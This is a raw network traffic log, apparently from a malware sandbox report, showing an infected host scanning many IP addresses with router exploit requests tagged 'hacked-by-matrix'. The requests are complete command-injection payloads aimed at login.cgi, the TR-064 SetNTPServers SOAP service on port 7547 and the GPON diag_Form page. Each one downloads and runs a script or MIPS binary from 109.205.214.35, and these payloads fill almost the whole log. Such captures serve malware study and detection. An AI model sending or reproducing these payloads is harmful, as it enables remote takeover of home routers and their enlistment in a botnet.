Mar 21, 2024 05:22:16.981981993 CET	349	IN	HTTP/1.1 500 Internal Server Error Content-Type: text/html; charset=utf-8 Content-Length: 130 Set-Cookie: JSESSIONID=deleted; Expires=Thu, 01 Jan 1970 00:00:01 GMT; Path=/; HttpOnly Connection: close Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 35 30 30 20 49 6e 74 65 72 6e 61 6c 20 53 65 72 76 65 72 20 45 72 72 6f 72 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 35 30 30 20 49 6e 74 65 72 6e 61 6c 20 53 65 72 76 65 72 20 45 72 72 6f 72 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <html><head><title>500 Internal Server Error</title></head><body><center><h1>500 Internal Server Error</h1></center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
686	192.168.2.14	39044	202.152.216.78	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:15.941773891 CET	240	OUT	GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:22:17.438079119 CET	240	OUT	GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:22:17.771101952 CET	525	IN	HTTP/1.1 400 Bad Request Date: Thu, 21 Mar 2024 04:22:17 GMT Server: Apache Content-Length: 347 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 20 72 65 71 75 65 73 74 20 74 68 61 74 20 74 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 75 6e 64 65 72 73 74 61 6e 64 2e 3c 62 72 20 2f 3e 0a 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>400 Bad Request</title></head><body><h1>Bad Request</h1><p>Your browser sent a request that this server could not understand.<br /></p><p>Additionally, a 400 Bad Requesterror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
687	192.168.2.14	56336	124.171.128.86	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:16.042690992 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:22:16.378851891 CET	197	IN	HTTP/1.1 404 Not Found Date: Thu Mar 21 14:22:15 2024 Server: tr069 http server Content-Length: 15 Connection: close Content-Type: text/plain; charset=ISO-8859-1 Data Raw: 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 0a Data Ascii: File not found
Mar 21, 2024 05:22:17.461410999 CET	197	IN	HTTP/1.1 404 Not Found Date: Thu Mar 21 14:22:15 2024 Server: tr069 http server Content-Length: 15 Connection: close Content-Type: text/plain; charset=ISO-8859-1 Data Raw: 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 0a Data Ascii: File not found
Mar 21, 2024 05:22:19.633896112 CET	197	IN	HTTP/1.1 404 Not Found Date: Thu Mar 21 14:22:15 2024 Server: tr069 http server Content-Length: 15 Connection: close Content-Type: text/plain; charset=ISO-8859-1 Data Raw: 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 0a Data Ascii: File not found

Session ID	Source IP	Source Port	Destination IP	Destination Port
688	192.168.2.14	56354	124.171.128.86	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:16.379102945 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:22:17.502115965 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:22:17.839154959 CET	197	IN	HTTP/1.1 404 Not Found Date: Thu Mar 21 14:22:16 2024 Server: tr069 http server Content-Length: 15 Connection: close Content-Type: text/plain; charset=ISO-8859-1 Data Raw: 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 0a Data Ascii: File not found
Mar 21, 2024 05:22:22.239404917 CET	197	IN	HTTP/1.1 404 Not Found Date: Thu Mar 21 14:22:16 2024 Server: tr069 http server Content-Length: 15 Connection: close Content-Type: text/plain; charset=ISO-8859-1 Data Raw: 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 0a Data Ascii: File not found
Mar 21, 2024 05:22:30.998652935 CET	197	IN	HTTP/1.1 404 Not Found Date: Thu Mar 21 14:22:16 2024 Server: tr069 http server Content-Length: 15 Connection: close Content-Type: text/plain; charset=ISO-8859-1 Data Raw: 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 0a Data Ascii: File not found

Session ID	Source IP	Source Port	Destination IP	Destination Port
689	192.168.2.14	52472	188.127.99.48	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:16.876033068 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:22:17.502115011 CET	512	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
690	192.168.2.14	52636	188.127.99.48	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:17.106853962 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
691	192.168.2.14	58604	2.158.73.100	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:17.240571976 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
692	192.168.2.14	49456	212.23.188.37	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:17.240588903 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
693	192.168.2.14	36530	109.17.226.14	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:17.240621090 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
694	192.168.2.14	60916	37.80.36.158	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:17.240641117 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
695	192.168.2.14	52756	42.102.222.189	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:17.240714073 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
696	192.168.2.14	42218	2.205.28.107	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:17.240736961 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
697	192.168.2.14	54748	118.248.108.242	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:17.240741968 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
698	192.168.2.14	57190	210.8.17.224	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:17.240767956 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
699	192.168.2.14	50066	79.107.116.209	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:17.240844011 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
700	192.168.2.14	38960	2.24.191.210	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:17.240844011 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
701	192.168.2.14	36182	37.101.94.200	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:17.240879059 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
702	192.168.2.14	34458	42.220.140.71	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:17.240911007 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
703	192.168.2.14	59170	118.228.6.231	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:17.240940094 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
704	192.168.2.14	59272	94.231.236.212	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:17.240968943 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
705	192.168.2.14	43040	109.65.109.224	443

Timestamp	Bytes transferred	Direction	Data
